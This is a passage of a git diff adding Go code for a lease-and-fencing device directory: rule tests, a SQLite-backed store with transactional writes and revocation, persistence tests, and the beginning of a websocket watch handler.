b/internal/directory/rules_test.go new file mode 100644 index 0000000000..27ace97a36 --- /dev/null +++ b/internal/directory/rules_test.go @@ -0,0 +1,227 @@ +package directory + +import ( + "errors" + "reflect" + "testing" +) + +const ( + now = int64(1_000_000) + ttl = int64(90_000) + devA = "dev_a" + devB = "dev_b" + head1 = "h1" + head2 = "h2" +) + +// held is a cell devA holds at fence 4 until now+5s. +func held() Cell { + return Cell{Head: head1, Title: "old", Lease: Lease{Device: devA, Fence: 4, Expires: now + 5000, Pending: 2}} +} + +func expired() Cell { + c := held() + c.Lease.Expires = now - 1 + return c +} + +func TestAcquire(t *testing.T) { + tests := []struct { + name string + cell Cell + by string + want Lease + err error + }{ + {"refused while another holds", held(), devB, held().Lease, ErrLeaseHeld}, + {"refused at the last instant", withExpiry(held(), now+1), devB, Lease{}, ErrLeaseHeld}, + {"allowed at the exact expiry", withExpiry(held(), now), devB, Lease{Device: devB, Fence: 5, Expires: now + ttl}, nil}, + {"allowed after expiry", expired(), devB, Lease{Device: devB, Fence: 5, Expires: now + ttl}, nil}, + {"same device retakes its live lease", held(), devA, Lease{Device: devA, Fence: 5, Expires: now + ttl}, nil}, + {"pending resets", expired(), devA, Lease{Device: devA, Fence: 5, Expires: now + ttl}, nil}, + {"first ever acquire", Cell{}, devA, Lease{Device: devA, Fence: 1, Expires: now + ttl}, nil}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + got, err := Acquire(tc.cell, tc.by, now, false) + if !errors.Is(err, tc.err) { + t.Fatalf("err = %v, want %v", err, tc.err) + } + if tc.err == nil && got.Lease != tc.want { + t.Fatalf("lease = %+v, want %+v", got.Lease, tc.want) + } + if tc.err != nil && got.Lease != tc.cell.Lease { + t.Fatalf("a refusal changed the lease: %+v", got.Lease) + } + }) + } +} + +// TestAcquireForce: a forced acquire displaces a live holder and raises the +// fence, so the displaced holder's next write is refused as stale. +func TestAcquireForce(t *testing.T) { + taken, err := Acquire(held(), devB, now, true) + if err != nil { + t.Fatalf("forced acquire refused: %v", err) + } + if want := (Lease{Device: devB, Fence: 5, Expires: now + ttl}); taken.Lease != want { + t.Fatalf("lease = %+v, want %+v", taken.Lease, want) + } + if _, err := Heartbeat(taken, devA, Beat{Fence: 4}, now); !errors.Is(err, ErrFenceStale) { + t.Fatalf("displaced holder's heartbeat = %v, want ErrFenceStale", err) + } + free, err := Acquire(expired(), devB, now, true) + plain, _ := Acquire(expired(), devB, now, false) + if err != nil || free.Lease != plain.Lease { + t.Fatalf("force on a free cell = %+v, %v; want the plain result %+v", free.Lease, err, plain.Lease) + } +} + +func withExpiry(c Cell, at int64) Cell { c.Lease.Expires = at; return c } + +func TestHeartbeat(t *testing.T) { + tests := []struct { + name string + cell Cell + device string + beat Beat + want Lease + err error + }{ + {"renews a live lease", held(), devA, Beat{Fence: 4, Pending: 7}, Lease{Device: devA, Fence: 4, Expires: now + ttl, Pending: 7}, nil}, + {"renews an expired lease nobody took", expired(), devA, Beat{Fence: 4}, Lease{Device: devA, Fence: 4, Expires: now + ttl}, nil}, + {"stale fence refused", held(), devA, Beat{Fence: 3}, Lease{}, ErrFenceStale}, + {"future fence refused", held(), devA, Beat{Fence: 5}, Lease{}, ErrFenceStale}, + {"other device refused", held(), devB, Beat{Fence: 4}, Lease{}, ErrFenceStale}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + got, err := Heartbeat(tc.cell, tc.device, tc.beat, now) + if !errors.Is(err, tc.err) { + t.Fatalf("err = %v, want %v", err, tc.err) + } + if tc.err == nil && got.Lease != tc.want { + t.Fatalf("lease = %+v, want %+v", got.Lease, tc.want) + } + }) + } +} + +func TestPublishTo(t *testing.T) { + ok := Publish{Fence: 4, OldHead: head1, Head: head2, Size: 9, Class: "chat", Title: "new", Pending: 1} + tests := []struct { + name string + device string + p Publish + err error + check func(*testing.T, Cell) + }{ + {"moves the head", devA, ok, nil, func(t *testing.T, c Cell) { + if c.Head != head2 || c.Size != 9 || c.Class != "chat" || c.Lease.Pending != 1 || c.DurableAt != now || c.Title != "new" || c.Lease.Expires != now+ttl { + t.Fatalf("cell = %+v", c) + } + }}, + {"empty title keeps the old one", devA, with(ok, func(p *Publish) { p.Title = "" }), nil, func(t *testing.T, c Cell) { + if c.Title != "old" { + t.Fatalf("title = %q", c.Title) + } + }}, + {"stale fence refused", devA, with(ok, func(p *Publish) { p.Fence = 3 }), ErrFenceStale, nil}, + {"other device refused", devB, ok, ErrFenceStale, nil}, + {"moved head refused", devA, with(ok, func(p *Publish) { p.OldHead = "elsewhere" }), ErrHeadMoved, nil}, + {"fence is checked before the head", devB, with(ok, func(p *Publish) { p.OldHead = "elsewhere" }), ErrFenceStale, nil}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + got, err := PublishTo(held(), tc.device, tc.p, now) + if !errors.Is(err, tc.err) { + t.Fatalf("err = %v, want %v", err, tc.err) + } + if tc.err != nil && got.Head != head1 { + t.Fatalf("a refusal moved the head to %s", got.Head) + } + if tc.check != nil { + tc.check(t, got) + } + }) + } +} + +func with(p Publish, edit func(*Publish)) Publish { edit(&p); return p } + +func TestReleaseOf(t *testing.T) { + tests := []struct { + name string + device string + fence uint64 + want Lease + err error + }{ + {"frees the lease and keeps the fence", devA, 4, Lease{Device: devA, Fence: 4}, nil}, + {"stale fence refused", devA, 3, Lease{}, ErrFenceStale}, + {"other device refused", devB, 4, Lease{}, ErrFenceStale}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + got, err := ReleaseOf(held(), tc.device, tc.fence) + if !errors.Is(err, tc.err) { + t.Fatalf("err = %v, want %v", err, tc.err) + } + if tc.err == nil && got.Lease != tc.want { + t.Fatalf("lease = %+v, want %+v", got.Lease, tc.want) + } + }) + } +} + +func TestCreated(t *testing.T) { + in := CellInit{Head: head1, Class: "chat", Title: "t", ParentCell: "p", Size: 3, OrphanTurns: 2} + got := Created(in, devA, now) + want := Lease{Device: devA, Fence: 1, Expires: now + ttl} + if got.Lease != want || got.DurableAt != now || got.Head != head1 || got.V != 1 || + got.ParentCell != "p" || got.Title != "t" || got.OrphanTurns != 2 || got.Size != 3 { + t.Fatalf("cell = %+v", got) + } +} + +// Lifted raises a live lease's expiry to the vouched time and does nothing +// else: a released lease stays released, an earlier vouch changes nothing, and +// the rest of the cell is untouched. +func TestLiftedRaisesOnlyALiveLease(t *testing.T) { + held := Cell{Head: "h", Lease: Lease{Device: "d", Fence: 3, Expires: 1000, Pending: 2}} + for _, tc := range []struct { + name string + in Cell + vouched int64 + want int64 + }{ + {"later vouch lifts", held, 5000, 5000}, + {"no evidence", held, 0, 1000}, + {"earlier vouch", held, 400, 1000}, + {"equal vouch", held, 1000, 1000}, + {"released stays released", Cell{Lease: Lease{Device: "d", Fence: 3}}, 5000, 0}, + } { + got := Lifted(tc.in, tc.vouched) + if got.Lease.Expires != tc.want { + t.Errorf("%s: expires %d, want %d", tc.name, got.Lease.Expires, tc.want) + } + want := tc.in + want.Lease.Expires = tc.want + if !reflect.DeepEqual(got, want) { + t.Errorf("%s: lifted changed more than the expiry: %+v", tc.name, got) + } + } +} + +// The lifted cell is what Acquire reads: a vouched lease refuses another device +// after its stored expiry, and an unvouched one does not. +func TestAcquireReadsTheLiftedLease(t *testing.T) { + c := Cell{Lease: Lease{Device: "a", Fence: 1, Expires: 1000}} + if _, err := Acquire(Lifted(c, 5000), "b", 2000, false); err != ErrLeaseHeld { + t.Fatalf("acquire over a vouched lease: %v, want lease_held", err) + } + if _, err := Acquire(Lifted(c, 0), "b", 2000, false); err != nil { + t.Fatalf("acquire over a lapsed lease: %v", err) + } +} diff --git a/internal/directory/sqlite.go b/internal/directory/sqlite.go new file mode 100644 index 0000000000..d4917f25ec --- /dev/null +++ b/internal/directory/sqlite.go @@ -0,0 +1,501 @@ +package directory + +import ( + "context" + "database/sql" + "encoding/json" + "errors" + "sync" + "time" + + _ "modernc.org/sqlite" // the one SQLite driver the repo uses +) + +// schema has one table per record kind. Each row holds the record as JSON, so +// the stored shape is exactly the wire shape and additive fields need no +// migration. The identity table has at most one row: a SQLite file is one +// identity's directory. +const schema = ` +CREATE TABLE IF NOT EXISTS identity (id INTEGER PRIMARY KEY CHECK (id = 1), rec TEXT NOT NULL); +CREATE TABLE IF NOT EXISTS devices (id TEXT PRIMARY KEY, rec TEXT NOT NULL); +CREATE TABLE IF NOT EXISTS cells (id TEXT PRIMARY KEY, rec TEXT NOT NULL); +CREATE TABLE IF NOT EXISTS version (id INTEGER PRIMARY KEY CHECK (id = 1), n INTEGER NOT NULL); +` + +// SQLite is a directory kept in one SQLite file, so a relay restart keeps every +// lease, fence and absolute expiry. Like Memory it runs the pure rules; unlike +// Memory the rules run inside one write transaction, which is what makes two +// connections to the same file agree on a single winner. +type SQLite struct { + pairing + db *sql.DB + clock func() time.Time + + // feed is the Status as last committed: the revoked devices a relay turns + // away and the rotation the blob wire asks on every frame put, both without + // a query, and the version watchers hear. inTx is the only thing that + // publishes to it, after a commit, so it is never ahead of the records and + // only behind them while a write is in flight. + feed *Feed + + mu sync.RWMutex + grace GraceBounds +} + +// OpenSQLite opens (creating when absent) the directory file at path. Write +// transactions take the file lock up front (_txlock=immediate) and wait for it +// (busy_timeout), so concurrent writers queue instead of failing. +func OpenSQLite(path string, clock func() time.Time) (*SQLite, error) { + dsn := "file:" + path + "?_txlock=immediate&_pragma=busy_timeout(10000)&_pragma=journal_mode(WAL)&_pragma=synchronous(FULL)" + db, err := sql.Open("sqlite", dsn) + if err != nil { + return nil, err + } + s := &SQLite{db: db, clock: clock, feed: NewFeed(clock), grace: DefaultGraceBounds} + if err := s.init(); err != nil { + db.Close() + return nil, err + } + wireFeed(s.feed, &s.pairing, s.seen) + return s, nil +} + +// init makes the tables and their one row each, and publishes where the file +// stands. It cannot run through inTx, which reads the version row first. +func (s *SQLite) init() error { + tx, err := s.db.BeginTx(context.Background(), nil) + if err != nil { + return err + } + st, err := seed(tx) + if err != nil { + tx.Rollback() + return err + } + if err := tx.Commit(); err != nil { + return err + } + s.feed.Publish(st) + return nil +} + +// seed creates what is missing in tx and answers the Status the file holds. +func seed(tx *sql.Tx) (Status, error) { + start, _ := json.Marshal(IdentityRec{V: 1}) + for _, q := range []struct { + sql string + args []any + }{ + {schema, nil}, + {`INSERT OR IGNORE INTO identity (id, rec) VALUES (1, ?)`, []any{string(start)}}, + {`INSERT OR IGNORE INTO version (id, n) VALUES (1, 0)`, nil}, + } { + if _, err := tx.Exec(q.sql, q.args...); err != nil { + return Status{}, err + } + } + return statusIn(tx) +} + +var _ Watchable = (*SQLite)(nil) + +// Feed is how a watcher hears of changes. +func (s *SQLite) Feed() *Feed { return s.feed } + +// SetMaxWatchers changes the per-identity watcher cap. +func (s *SQLite) SetMaxWatchers(n int) { s.feed.SetMaxWatchers(n) } + +// versionIn reads the directory version inside tx. +func versionIn(tx *sql.Tx) (n uint64, err error) { + return n, tx.QueryRow(`SELECT n FROM version WHERE id = 1`).Scan(&n) +} + +// statusIn reads the whole Status inside tx. +func statusIn(tx *sql.Tx) (Status, error) { + var rec IdentityRec + devices := map[string]Device{} + n, err := versionIn(tx) + if err == nil { + err = get(tx, "identity", "1", &rec) + } + if err == nil { + err = scanAll(tx, "devices", devices) + } + return statusOf(n, rec, devices), err +} + +// SetAfter changes the timers presence runs on. +func (s *SQLite) SetAfter(after After) { s.feed.SetAfter(after) } + +// SetGraceBounds changes what a retire may ask for. +func (s *SQLite) SetGraceBounds(b GraceBounds) { + s.mu.Lock() + defer s.mu.Unlock() + s.grace = b +} + +func (s *SQLite) bounds() GraceBounds { + s.mu.RLock() + defer s.mu.RUnlock() + return s.grace +} + +// Rotated answers the identity's Rotation, nil while it is live. It never reads +// the file, so a relay may ask it on every request. +func (s *SQLite) Rotated() *Rotation { return s.feed.Status().Rotation } + +// Revoked says whether device has been stopped. It never reads the file, so a +// relay may ask it on every request. +func (s *SQLite) Revoked(device string) bool { return s.feed.Status().Stopped[device] } + +// Close ends every watch and releases the file. +func (s *SQLite) Close() error { + s.feed.Close() + return s.db.Close() +} + +// For returns the Client that device would hold. +func (s *SQLite) For(device string) Client { + return &sqliteClient{pairing: &s.pairing, s: s, device: device} +} + +type sqliteClient struct { + *pairing + s *SQLite + device string +} + +func (s *SQLite) now() int64 { return s.clock().UnixMilli() } + +// tx is inTx for the calling device: inside the same transaction that would +// write, it first refuses a revoked device, so no verb can be the one that +// forgets to. The record is read from the file, not from the revoked set, so +// two connections to one file agree. +func (c *sqliteClient) tx(ctx context.Context, fn func(*sql.Tx) error) error { + return c.s.inTx(ctx, func(tx *sql.Tx) error { + var me Device + if err := get(tx, "devices", c.device, &me); err != nil && !errors.Is(err, ErrNotFound) { + return err + } + if me.Revoked { + return ErrRevoked + } + return fn(tx) + }) +} + +// txw is tx for a verb that changes a record: inside the same transaction it +// refuses a replaced identity, so no verb can be the one that forgets to. +func (c *sqliteClient) txw(ctx context.Context, fn func(*sql.Tx) error) error { + return c.tx(ctx, func(tx *sql.Tx) error { + var rec IdentityRec + if err := get(tx, "identity", "1", &rec); err != nil { + return err + } + if err := refusesWrites(rec); err != nil { + return err + } + return fn(tx) + }) +} + +// inTx runs fn in one write transaction and commits only if fn succeeds, so a +// refused rule or a crash leaves the old records untouched. It is also the one +// place a change is announced: put moves the version inside the transaction, and +// when the version moved, the Status read before the commit is published after +// it. Every verb runs here, so no verb can change a record and forget to tell +// the watchers. +func (s *SQLite) inTx(ctx context.Context, fn func(*sql.Tx) error) error { + tx, err := s.db.BeginTx(ctx, nil) + if err != nil { + return err + } + st, err := s.run(tx, fn) + if err != nil { + tx.Rollback() + return err + } + if err := tx.Commit(); err != nil { + return err + } + if st != nil { + s.feed.Publish(*st) + } + return nil +} + +// run is fn inside tx, answering the Status to publish when fn changed the +// version and nil when it did not. +func (s *SQLite) run(tx *sql.Tx, fn func(*sql.Tx) error) (*Status, error) { + before, err := versionIn(tx) + if err != nil { + return nil, err + } + if err := fn(tx); err != nil { + return nil, err + } + if after, err := versionIn(tx); err != nil || after == before { + return nil, err + } + st, err := statusIn(tx) + return &st, err +} + +// get decodes the record stored under (table, id) into v; ErrNotFound if absent. +func get(tx *sql.Tx, table, id string, v any) error { + var rec string + err := tx.QueryRow(`SELECT rec FROM `+table+` WHERE id = ?`, id).Scan(&rec) + if errors.Is(err, sql.ErrNoRows) { + return ErrNotFound + } + if err != nil { + return err + } + return json.Unmarshal([]byte(rec), v) +} + +// put stores v under (table, id), replacing any earlier record, and moves the +// directory version by one when the record is new or differs from the stored +// one in a way a person could see at time now. +func put[T any](tx *sql.Tx, feed *Feed, table, id string, v T, now int64) error { + changed, err := visiblyChanges(tx, feed, table, id, v, now) + if err == nil && changed { + err = bump(tx) + } + if err != nil { + return err + } + rec, err := json.Marshal(v) + if err != nil { + return err + } + _, err = tx.Exec(`INSERT INTO `+table+` (id, rec) VALUES (?, ?) ON CONFLICT(id) DO UPDATE SET rec = excluded.rec`, id, string(rec)) + return err +} + +// visiblyChanges says whether storing v under (table, id) would show a person +// something new: the record is absent, or differs from the stored one. +func visiblyChanges[T any](tx *sql.Tx, feed *Feed, table, id string, v T, now int64) (bool, error) { + var old T + err := get(tx, table, id, &old) + if errors.Is(err, ErrNotFound) { + return true, nil + } + return err == nil && feed.differs(id, old, v, now), err +} + +func bump(tx *sql.Tx) error { + _, err := tx.Exec(`UPDATE version SET n = n + 1 WHERE id = 1`) + return err +} + +// change reads cell id, applies fn at the directory time and stores the result. +func (c *sqliteClient) change(ctx context.Context, id string, fn func(Cell, int64) (Cell, error)) (v CellView, err error) { + err = c.txw(ctx, func(tx *sql.Tx) error { + var cell Cell + if err := get(tx, "cells", id, &cell); err != nil { + return err + } + now := c.s.now() + next, err := fn(cell, now) + if err != nil { + return err + } + v = CellView{Now: now, Cell: next} + return put(tx, c.s.feed, "cells", id, next, now) + }) + return v, err +} + +func (c *sqliteClient) List(ctx context.Context) (l Listing, err error) { + err = c.tx(ctx, func(tx *sql.Tx) error { + l = Listing{Now: c.s.now(), Devices: map[string]Device{}, Cells: map[string]Cell{}} + var err error + if l.Version, err = versionIn(tx); err != nil { + return err + } + if err := get(tx, "identity", "1", &l.Identity); err != nil { + return err + } + if err := scanAll(tx, "devices", l.Devices); err != nil { + return err + } + if err := scanAll(tx, "cells", l.Cells); err != nil { + return err + } + for id, cell := range l.Cells { + l.Cells[id] = c.s.feed.Lifted(id, cell) + } + l = withoutFrames(l) + return nil + }) + return l, err +} + +// scanAll fills out with every record in table, keyed by id. +func scanAll[T any](tx *sql.Tx, table string, out map[string]T) error { + rows, err := tx.Query(`SELECT id, rec FROM ` + table) + if err != nil { + return err + } + defer rows.Close() + for rows.Next() { + var id, rec string + var v T + if err := rows.Scan(&id, &rec); err != nil { + return err + } + if err := json.Unmarshal([]byte(rec), &v); err != nil { + return err + } + out[id] = v + } + return rows.Err() +} + +func (c *sqliteClient) Cell(ctx context.Context, id string) (v CellView, err error) { + err = c.tx(ctx, func(tx *sql.Tx) error { + v.Now = c.s.now() + if err := get(tx, "cells", id, &v.Cell); err != nil { + return err + } + v.Cell = c.s.feed.Lifted(id, v.Cell) + return nil + }) + return v, err +} + +func (c *sqliteClient) Rotate(ctx context.Context, req RotationReq) (v RotationView, err error) { + err = c.tx(ctx, func(tx *sql.Tx) error { + var rec IdentityRec + if err := get(tx, "identity", "1", &rec); err != nil { + return err + } + now := c.s.now() + if rec, err = RotateBy(rec, c.device, req, now, c.s.bounds()); err != nil { + return err + } + v = viewOf(rec, now, c.s.bounds()) + return put(tx, c.s.feed, "identity", "1", rec, now) + }) + return v, err +} + +func (c *sqliteClient) Rotation(ctx context.Context) (v RotationView, err error) { + err = c.tx(ctx, func(tx *sql.Tx) error { + var rec IdentityRec + if err := get(tx, "identity", "1", &rec); err != nil { + return err + } + v = viewOf(rec, c.s.now(), c.s.bounds()) + return nil + }) + return v, err +} + +// PutDevice keeps the stored Revoked flag whatever the record says, so the +// only way to stop a device is Revoke and a device cannot clear its own stop. +func (c *sqliteClient) PutDevice(ctx context.Context, id string, d Device) error { + return c.txw(ctx, func(tx *sql.Tx) error { + _, err := c.s.store(tx, id, d) + return err + }) +} + +// store writes a device record as the directory keeps it and answers it. +func (s *SQLite) store(tx *sql.Tx, id string, d Device) (Device, error) { + var old Device + err := get(tx, "devices", id, &old) + if err != nil && !errors.Is(err, ErrNotFound) { + return d, err + } + now := s.now() + d = Stamped(old, err == nil, d, now) + return d, put(tx, s.feed, "devices", id, d, now) +} + +func (c *sqliteClient) ApproveRequest(ctx context.Context, code string, a Approval) error { + return c.approve(code, a, func(r Request) (d Device, err error) { + err = c.txw(ctx, func(tx *sql.Tx) (err error) { + d, err = c.s.store(tx, r.Device, a.Device) + return err + }) + return d, err + }) +} + +func (c *sqliteClient) DenyRequest(ctx context.Context, code string) error { + return c.deny(code, func() error { return c.txw(ctx, func(*sql.Tx) error { return nil }) }) +} + +func (c *sqliteClient) Revoke(ctx context.Context, id string) error { + return c.txw(ctx, func(tx *sql.Tx) error { + var d Device + if err := get(tx, "devices", id, &d); err != nil { + return err + } + d, err := RevokeOf(d, c.device, id) + if err != nil { + return err + } + return put(tx, c.s.feed, "devices", id, d, c.s.now()) + }) +} + +func (c *sqliteClient) SetVault(ctx context.Context, old, next string) error { + return c.txw(ctx, func(tx *sql.Tx) error { + var rec IdentityRec + if err := get(tx, "identity", "1", &rec); err != nil { + return err + } + if rec.Vault != old { + return ErrCAS + } + rec.Vault = next + return put(tx, c.s.feed, "identity", "1", rec, c.s.now()) + }) +} + +func (c *sqliteClient) Create(ctx context.Context, id string, in CellInit) (v CellView, err error) { + err = c.txw(ctx, func(tx *sql.Tx) error { + var taken Cell + switch err := get(tx, "cells", id, &taken); { + case err == nil: + return ErrExists + case !errors.Is(err, ErrNotFound): + return err + } + now := c.s.now() + cell := Created(in, c.device, now) + v = CellView{Now: now, Cell: cell} + return put(tx, c.s.feed, "cells", id, cell, now) + }) + return v, err +} + +func (c *sqliteClient) Acquire(ctx context.Context, id string, o AcquireOpts) (CellView, error) { + return c.change(ctx, id, func(cell Cell, now int64) (Cell, error) { + return Acquire(c.s.feed.Lifted(id, cell), c.device, now, o.Force) + }) +} + +func (c *sqliteClient) Heartbeat(ctx context.Context, id string, b Beat) (CellView, error) { + return c.change(ctx, id, func(cell Cell, now int64) (Cell, error) { return Heartbeat(cell, c.device, b, now) }) +} + +func (c *sqliteClient) Publish(ctx context.Context, id string, p Publish) (CellView, error) { + return c.change(ctx, id, func(cell Cell, now int64) (Cell, error) { return PublishTo(cell, c.device, p, now) }) +} + +func (c *sqliteClient) Release(ctx context.Context, id string, fence uint64) error { + _, err := c.change(ctx, id, func(cell Cell, _ int64) (Cell, error) { return ReleaseOf(cell, c.device, fence) }) + return err +} + +func (c *sqliteClient) Archive(ctx context.Context, id string) error { + _, err := c.change(ctx, id, func(cell Cell, _ int64) (Cell, error) { + cell.Archived = true + return cell, nil + }) + return err +} diff --git a/internal/directory/sqlite_test.go b/internal/directory/sqlite_test.go new file mode 100644 index 0000000000..0924890a33 --- /dev/null +++ b/internal/directory/sqlite_test.go @@ -0,0 +1,211 @@ +package directory_test + +import ( + "context" + "database/sql" + "errors" + "io" + "path/filepath" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" +) + +const ( + tCell = "01J0000000000000000000000B" + tA = "dev_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + tB = "dev_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + tHead = "1111111111111111111111111111111111111111111111111111111111111111" +) + +var bg = context.Background() + +func openAt(t *testing.T, path string, clock *directorytest.FakeClock) *directory.SQLite { + t.Helper() + d, err := directory.OpenSQLite(path, clock.Now) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { d.Close() }) + return d +} + +func TestSQLiteConformance(t *testing.T) { + directorytest.Run(t, func(t *testing.T, clock *directorytest.FakeClock) directorytest.Devices { + return openAt(t, filepath.Join(t.TempDir(), "dir.db"), clock).For + }) +} + +// A relay restart keeps the lease: the holder's heartbeat with the same fence +// succeeds, and once the lease has expired another device may take it. +func TestSQLiteLeaseSurvivesReopen(t *testing.T) { + clock, path := directorytest.NewFakeClock(), filepath.Join(t.TempDir(), "dir.db") + first := openAt(t, path, clock) + if _, err := first.For(tA).Create(bg, tCell, directory.CellInit{Head: tHead, Class: "chat"}); err != nil { + t.Fatal(err) + } + first.Close() + + second := openAt(t, path, clock) + if _, err := second.For(tB).Acquire(bg, tCell, directory.AcquireOpts{}); !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("live lease lost across reopen: %v", err) + } + v, err := second.For(tA).Heartbeat(bg, tCell, directory.Beat{Fence: 1}) + if err != nil || v.Cell.Lease.Fence != 1 { + t.Fatalf("heartbeat after reopen: %v %+v", err, v) + } + clock.Advance(directory.LeaseTTL + time.Second) + if v, err = second.For(tB).Acquire(bg, tCell, directory.AcquireOpts{}); err != nil || v.Cell.Lease.Fence != 2 { + t.Fatalf("expired lease not takeable: %v %+v", err, v) + } +} + +// Two connections to one file model two relay processes: exactly one acquire +// wins and the rest see the lease held. +func TestSQLiteConcurrentAcquireTwoConnections(t *testing.T) { + clock, path := directorytest.NewFakeClock(), filepath.Join(t.TempDir(), "dir.db") + one, two := openAt(t, path, clock), openAt(t, path, clock) + if _, err := one.For(tA).Create(bg, tCell, directory.CellInit{Head: tHead, Class: "chat"}); err != nil { + t.Fatal(err) + } + clock.Advance(directory.LeaseTTL + time.Second) + + var wins, held int + var mu sync.Mutex + var wg sync.WaitGroup + for i := 0; i < 40; i++ { + d, dev := one, tA + if i%2 == 1 { + d, dev = two, tB + } + wg.Add(1) + go func() { + defer wg.Done() + _, err := d.For(dev).Acquire(bg, tCell, directory.AcquireOpts{}) + mu.Lock() + defer mu.Unlock() + switch { + case err == nil: + wins++ + case errors.Is(err, directory.ErrLeaseHeld): + held++ + default: + t.Errorf("unexpected: %v", err) + } + }() + } + wg.Wait() + // The same device may re-take its own live lease, so wins are per device: the + // losing device must never have won once the other held. + v, _ := one.For(tA).Cell(bg, tCell) + if wins == 0 || wins+held != 40 { + t.Fatalf("wins=%d held=%d", wins, held) + } + other := tB + if v.Cell.Lease.Device == tB { + other = tA + } + if _, err := one.For(other).Acquire(bg, tCell, directory.AcquireOpts{}); !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("loser can acquire: %v", err) + } +} + +// A transaction that dies before commit leaves the old record in place. +func TestSQLiteCrashMidTransactionKeepsOldRecord(t *testing.T) { + clock, path := directorytest.NewFakeClock(), filepath.Join(t.TempDir(), "dir.db") + d := openAt(t, path, clock) + if _, err := d.For(tA).Create(bg, tCell, directory.CellInit{Head: tHead, Class: "chat"}); err != nil { + t.Fatal(err) + } + d.Close() + + raw, err := sql.Open("sqlite", "file:"+path) + if err != nil { + t.Fatal(err) + } + defer raw.Close() + conn, err := raw.Conn(bg) + if err != nil { + t.Fatal(err) + } + for _, q := range []string{`BEGIN IMMEDIATE`, `UPDATE cells SET rec = '{"corrupt":true}'`} { + if _, err := conn.ExecContext(bg, q); err != nil { + t.Fatal(err) + } + } + // Closing the driver connection with the transaction open is what a dying + // process does: nothing was committed. + if err := conn.Raw(func(dc any) error { return dc.(io.Closer).Close() }); err != nil { + t.Fatal(err) + } + + v, err := openAt(t, path, clock).For(tA).Cell(bg, tCell) + if err != nil || v.Cell.Head != tHead || v.Cell.Lease.Fence != 1 { + t.Fatalf("old record lost: %v %+v", err, v) + } +} + +// Devices and the vault pointer survive a reopen too. +func TestSQLiteDevicesAndVaultSurviveReopen(t *testing.T) { + clock, path := directorytest.NewFakeClock(), filepath.Join(t.TempDir(), "dir.db") + d := openAt(t, path, clock) + must := func(err error) { + t.Helper() + if err != nil { + t.Fatal(err) + } + } + must(d.For(tA).PutDevice(bg, tA, directory.Device{V: 1, Name: "n"})) + must(d.For(tA).SetVault(bg, "", "rid1")) + d.Close() + + l, err := openAt(t, path, clock).For(tA).List(bg) + must(err) + if l.Identity.Vault != "rid1" || l.Devices[tA].Name != "n" { + t.Fatalf("lost on reopen: %+v", l) + } +} + +// A revoke is on disk: a reopened directory still turns the device away, both +// from the relay's memory set and from the verbs themselves. +func TestSQLiteRevokeSurvivesReopen(t *testing.T) { + path, clock := filepath.Join(t.TempDir(), "dir.db"), directorytest.NewFakeClock() + d := openAt(t, path, clock) + for _, id := range []string{tA, tB} { + if err := d.For(id).PutDevice(bg, id, directory.Device{V: 1}); err != nil { + t.Fatal(err) + } + } + if err := d.For(tA).Revoke(bg, tB); err != nil { + t.Fatal(err) + } + if !d.Revoked(tB) || d.Revoked(tA) { + t.Fatalf("revoked set: B %v, A %v", d.Revoked(tB), d.Revoked(tA)) + } + d.Close() + + again := openAt(t, path, clock) + if !again.Revoked(tB) || again.Revoked(tA) { + t.Fatalf("after reopen: B %v, A %v", again.Revoked(tB), again.Revoked(tA)) + } + if _, err := again.For(tB).List(bg); !errors.Is(err, directory.ErrRevoked) { + t.Fatalf("revoked device listed after reopen: %v", err) + } +} + +// Revoked is set by Revoke alone: a record that says so, put by the device +// itself, neither stops a live device nor lets a stopped one come back. +func TestPutDeviceNeverChangesRevoked(t *testing.T) { + d := openAt(t, filepath.Join(t.TempDir(), "dir.db"), directorytest.NewFakeClock()) + a := d.For(tA) + if err := a.PutDevice(bg, tA, directory.Device{V: 1, Revoked: true}); err != nil { + t.Fatal(err) + } + l, err := a.List(bg) + if err != nil || l.Devices[tA].Revoked { + t.Fatalf("a device stopped itself by writing its record: %+v, %v", l.Devices, err) + } +} diff --git a/internal/directory/watch.go b/internal/directory/watch.go new file mode 100644 index 0000000000..92f03a794c --- /dev/null +++ b/internal/directory/watch.go @@ -0,0 +1,218 @@ +package directory + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net/http" + "strings" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// The close codes a watcher reads. Any other code means reconnect with backoff. +const ( + CloseRevoked websocket.StatusCode = 4401 // this device was stopped; never reconnect + CloseRotated websocket.StatusCode = 4410 // the identity was replaced; poll only + // CloseSilent says the relay stopped hearing this socket's pings: redial now. + CloseSilent websocket.StatusCode = 4408 +) + +const ( + // watchWrite bounds one frame to a peer, so a stalled one cannot hold a + // watcher forever. + watchWrite = 10 * time.Second + // watchRead is the largest client frame; the only one with a meaning is "ping". + watchRead = 1 << 10 +) + +// watch answers GET /v1/dir/watch: it authenticates like every route, refuses +// what cannot be watched before the upgrade, and then tells the socket the +// directory's version now and each time it changes. The socket carries versions +// only: what changed is read by the list the device already knows how to read. +func (h *handler) watch(w http.ResponseWriter, r *http.Request) { + c, err := h.admit(w, r) + if err != nil { + refuse(w, err) + return + } + sub, err := subscribe(c) + if err != nil { + refuse(w, err) + return + } + defer sub.Close() + // Accept keeps the headers set on w, so this one rides the 101 answer. + w.Header().Set(VouchHeader, "1") + w.Header().Set(PresenceHeader, "1") + conn, err := websocket.Accept(w, r, &websocket.AcceptOptions{CompressionMode: websocket.CompressionDisabled}) + if err != nil { + return + } + conn.SetReadLimit(watchRead) + serveWatch(r.Context(), conn, sub, c.device, wantsEvents(r)) +} + +// wantsEvents is whether the socket opted in to event frames (EventsQuery). +func wantsEvents(r *http.Request) bool { return r.URL.Query().Get("events") == "1" } + +// VouchHeader on the 101 answer says this relay counts a watch socket that +// names a hold as proof its holder is alive (contract 21.11.1). A client that +// does not see it keeps beating. +const VouchHeader = "Codeaf-Vouch" + +// PresenceHeader on the 101 answer says this relay counts a socket online only +// while its pings keep coming (contract 21.12.3). +const PresenceHeader = 